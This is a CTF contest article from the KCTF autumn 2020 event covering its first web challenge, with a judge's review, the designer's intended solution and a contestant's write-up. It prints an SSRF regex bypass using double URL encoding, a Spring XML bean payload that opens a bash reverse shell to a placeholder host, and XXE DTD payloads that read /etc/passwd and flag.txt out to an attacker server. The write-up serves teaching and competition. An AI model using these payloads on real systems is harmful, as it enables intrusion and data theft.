2020 KCTF秋季赛 | 第一题点评及解题思路

发布者:Editor
发布于:2020-11-20 10:32


在经过2天紧张激励的比拼后,第一题历时2天,最终落下帷幕,并于今日(19号)中午12点正式关闭攻击通道。



此题共有5366人围观,并在开赛后的9小时左右,由ReZero战队夺下首旗,获取一血额外加分。xtgo战队也紧随其后,逆袭第二名。截止赛题关闭,累计共有24支战队攻破成功!恭喜!



接下来让我们一起来看一下这道题的设计思路和详细解析吧。


一.题目简介


第一题:至暗时刻


“距离x-63892号黑洞进入地球轨道还剩48小时47分24秒。请收到邀请函的公民携带您的电子ID卡有序登船,破晓将于12小时后起航。”

伴随着广播里机械的电子女声,跳动着红光的字幕不断在楼宇的大屏幕上滚动播放着。端着枪的武警组成层层人墙试图压制暴动的人群,但还是不断有人朝着“破晓”的舱门涌来。

地平线上最后的那一丝光亮似乎也将转瞬即逝,人们互相拥抱着,痛哭着,与自己深爱的人做最后的告别,整座城市都笼罩在夕阳的余晖中。

突如其来的灾难留给人类的时间并不多。一周前“破晓”匆忙竣工,飞船的最大容载量仅为全人类的1/4。除了各国政要、科研专家、商业大鳄等社会上层人士拥有优先登上飞船的权利,普通人要获得登船资格十分困难。

超级AI计算机Norns会基于其全球最庞大的数据库,对申请者进行包括身体素质、智力、对社会贡献等方面的审查,并通过智能算法筛选出基因最优质、存活可能性最高的人类,择优发放可以登上“破晓”的电子邀请函。

虽然你并未收到邀请函,但这对曾在国家网络安全局任职、拥有顶尖黑客技术的你来说,并不是什么难事。

伪造一封你的电子邀请函,抢在“破晓”起航前取得上船资格吧!

[说明:一道Web题]


 二.出题团队简介




三.看雪评委点评


点评由 看雪论坛[CTF对抗]版主 netwind  提供。

本题作者设计了一个通过SSRF漏洞进行利用攻击的WEB题目,SSRF漏洞作为发起对内网渗透的一块敲门砖,深受广大渗透测试人员的欢迎。

作者原定题目设计思路是通过SSRF漏洞结合内部框架的命令执行漏洞来获得SHELL,然后拿到flag,这是当下较为流行的一种针对WEB框架的攻击手法,考察大家对WEB漏洞的熟练掌握和利用能力,题目设计非常具有实战意义。

不过在作者设计思路之外,有参赛者完全通过XXE漏洞读取java程序调用记录找到关键文件,最后读取到了flag。题目设计的非常精彩,攻击方解题思路也非常精彩,只要基础扎实,对漏洞理解以及掌握得比较熟练,在攻防对抗中总会有意想不到的收获!


   四.设计思路

设计思路由作者 香草0x00 提供。


本文查看源码可发现两个关键的链接,其中一个是:
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg

直接打开该链接显示出了图片的源码,很容易想到的是ssrf漏洞,或者任意文件下载?

但是修改http://121.36.145.157:8088/getimage?url=https://www.baidu.com


明显是需要绕过上面的常用作限制域名的正则表达式。

我们再看第二个链接:http://121.36.145.157:8088/loadConfig?url=x.xml


IP不被允许,这种配置文件猜测可能只允许本地iP访问。

那么结合两个链接,猜测是需要绕过第一个SSRF的限制访问127.0.0.1,然后加载第二个链接就像这样:
http://121.36.145.157:8088/getimage?url=http://127.0.0.1:8088/loadConfig?url=x.xml

那么我们怎么绕过第一个正则执行SSRF呢?

这里需要用到httpclient3的一个小BUG吧,暂且算BUG吧,就是在解析URL的时候对URL编码的处理上的问题。

关于这个我之前在知识星球上有发过,只是不知道看到的人有多少。

https://t.zsxq.com/AYVzbYF

最终结果就是:

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=x.xml



文件当然是不存在的,这里不要想当然地认为这是一个任意文件读取,注意看报错的最后的语句:


看到FileSystemXmlApplicationContext是不是很熟悉,记得去年weblogic有个漏洞的绕过就是利用了这个函数,加载了远程的恶意xml配置文件,导致反射代码执行。因此可以构造如下远程XML:

<?xml version="1.0" encoding="utf-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean  init-method="start">    <constructor-arg>       <list>         <value>/bin/bash</value>  <value>-c</value>   <value><![CDATA[bash -i >& /dev/tcp/x.x.x.x/8080 0>&1]]></value>     </list>  </constructor-arg> </bean></beans>

访问:

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxx.com/x.xml

反弹shell:

然后在home目录下找到springboot的jar包,想办法下载回来,反编译即可得到flag.txt。

当然题目到这里就完成了,我提一个更加有挑战的事情,就是如何在这样的情况下拿到webshell。

因为如果我把flag放到数据库里面,没有webshell还是很难搞的,或者直接禁用系统命令的调用,这时候是不得不拿webshell的。

这里需要解决两个问题:1、xml配置文件如何执行任意代码2、springboot无文件落地webshell

既然大家已经得到了springboot的jar包,自己部署起来测测看吧!当然是能做到的。加油!


五.解析过程

解析过程由作者 xjklewh 提供。

Hello 大家好,我又来写Web题目的WriteUp了,抱着春季赛web题目=打卡题的心态我就来了,谁曾想到秋季赛的题目如此变态。从中午12点到晚上七点半就起来上过一次厕所,再没离开过电脑。要不是xtgo五虎将全军出击,不然这道题我就只能继续奋发图强(shan ku pao lu)了。 OK言归正传开始解题:

1、题目描述


一道Web题,访问链接:http://121.36.145.157:8088/ 利用技术绕过限制,获得flag.txt文件中的值。

2、初窥门径


首先访问域名发现,谁给kctf首页的图偷来了……


打开抓包工具看看刚好发现有个备注彩蛋:

访问彩蛋http://121.36.145.157:8088/loadConfig?url=x.xml,可以看到接口有IP限制,目测接口的功能可能是加载服务器上的某些配置文件:


遇到了IP限制当然要试一试XFF:

结果就是这道题的考点不是XFF,header全加上也没用,还是提示" not allow ip"。

接着看下刚才访问首页下载图片的第二个接口:
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg


看到url中的 ?url=http://xxx 一下就来了精神,配合刚才限制IP的接口,肯定是SSRF了,改一下跳转的url地址到某度,发现跳转地址有正则表达式限制,刚好也返回了过滤规则:

分析下正则核心的三个条件:
1、一级域名必须为看雪域名 pediy.com
2、二级域名可以填写除?$/三个符号的任意内容
3、path不做任何限制

3、整理思路


通过前一步的信息收集和题目理解,大致的攻击思路为:

1、绕过getimage接口的过滤规则

2、绕过后通过SSRF访问loadConfig接口

3、通过loadConfig尝试访问服务器上flag.txt文件

4、发起进攻


首先将getimage接口中跳转URL的二级域名和path替换:


发现提示无效的端口号,并没有提示正则错误,那就对整个域名进行两次转义替换(浏览器和服务器接到参数后都会默认进行一次decode,所以需要进行两次encode):

http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=x.xml

成功绕过正则限制,出现异常回显:

 
本以为今天的活动到此结束,谁知道这只是开始…… 访问/flag.txt发现没有找到此文件,然后尝试读取/etc/passwd发现这个java接口只能接收xml document:

  

怪不得前面的彩蛋提示是x.xml,原来是暗示传入一个xml文件,既然是xml那只能想到XXE漏洞。使用XXE则必须将注入的xml放在公网,SSRF跳转时可被访问到,先写个test.xml验证一下XXE确实存在。

 test.xml

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

公网测试:


注入接口:
http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=http://ip:port/test.xml

 
发现报错回显不一样了,XXE看来有戏,构造访问文件的xml和dtd(涉及到ip:port的地方请自行替换成自己的服务器地址)

xxe.xml

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % ext SYSTEM "http://ip:port/xxe.dtd">    %ext;]><message></message>

xxe.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">%eval;%error;

在dtd中先访问/etc/passwd ,成功获取到passwd的文本内容:

 
接下来是最心塞的一步,寻找flag.txt,大家一起找了几个小时。不过最终功夫不费有心人,通过/proc/self/maps文件找到java程序的调用记录,成功获取到jar包存储的路径和文件名 /home/vip-demo-0.0.1-SNAPSHOT.jar。

 
最后一步通过jar:和file:协议访问jar包中的flag.txt。

参考XXE注入,xxe.dtd

<!ENTITY % file SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">%eval;%error;

成功在异常中获取flag!congratulations!


现在第二题已经开放,快来继续挑战自己吧!

越早提交答案,得分越高哦!
立即扫码加入战斗!


华为全面屏智能电视、Xbox One X、JBL 无线蓝牙耳机等你来拿哦!

 


声明:该文观点仅代表作者本人,转载请注明来自看雪